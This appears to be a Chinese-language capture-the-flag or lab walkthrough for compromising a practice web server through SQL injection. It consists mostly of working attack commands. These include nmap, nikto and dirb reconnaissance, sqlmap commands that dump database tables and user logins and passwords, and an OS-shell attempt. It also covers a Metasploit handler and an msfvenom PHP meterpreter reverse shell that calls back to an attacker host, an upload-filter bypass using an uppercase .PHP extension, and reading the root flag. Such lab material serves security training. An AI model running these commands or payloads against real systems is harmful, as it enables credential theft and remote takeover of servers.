1.SQL注入漏洞介绍
SQL注入产生的原因主要为以下几方面:
- 不当的类型处理
- 不安全的数据库配置
- 不合理的查询集处理
- 不当的错误处理
- 不当的转义字符处理
- 不当的多个提交处理
2.信息探测
#扫描服务器信息及服务版本
nmap -sV 192.168.2.116
#快速扫描靶场全部信息
nmap -T4 -A -v 192.168.2.116
#探测敏感信息
nikto -host http://192.168.2.116
dirb http://192.168.2.116
3.深入挖掘
#对nikto和dirb的扫描结果进行分析,查找可以利用的信息
4.漏洞扫描
#web漏洞扫描owasp-zap
5.漏洞利用
#对扫描结果进行分析,如果具有SQL,可以直接利用,毕竟SQL注入是高危漏洞,可以直接获取服务期权限。
#使用sqlmap利用SQL注入漏洞
#查看数据库名
sqlmap -u url --dbs
sqlmap -u url -D "数据库名" --tables 查看对应数据库中的表
sqlmap -u url -D "数据库名" -T "表名" --columns 查看对应字段
sqlmap -u url -D "数据库名" -T "表名" - C "列名" --dump 查看对应字段的值
#也可以尝试直接获取shell
sqlmap -u url -os -shell
#information_schema 系统自带数据库
#查看数据库中的字段,值
sqlmap -u "http://192.168.2.116/cat.php?id=3" -D "photoblog" -T "users" -C "login,password" --dump
6.上传shell反弹权限
#攻击机启动监听
msf>use exploit/multi/handler
>set payload php/meterpreter/reverse_tcp
>set lhost 192.168.2.110
>set lport 4444
>run
#生成反弹shell
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.2.110 lport=4444 -f raw
--->>>> /root/Desktop/shell.php
#上传shell并执行
#绕过过滤机制,把.php改为.PHP
7.获取flag
#一般情况下,靶场机器flag值存在服务器根目录/root/目录下
cd /root/
ls
cat flag
#完成测试、总计文档
#如果无法在该权限下查看flag,则需要提升root权限
8.总结
靶场机器如果存在SQL注入漏洞,可以利用sqlmap进行获取数据
获得靶场机器shell之后,可以分析是否需要提权
SQL注入往往要和上传漏洞配合,上传shell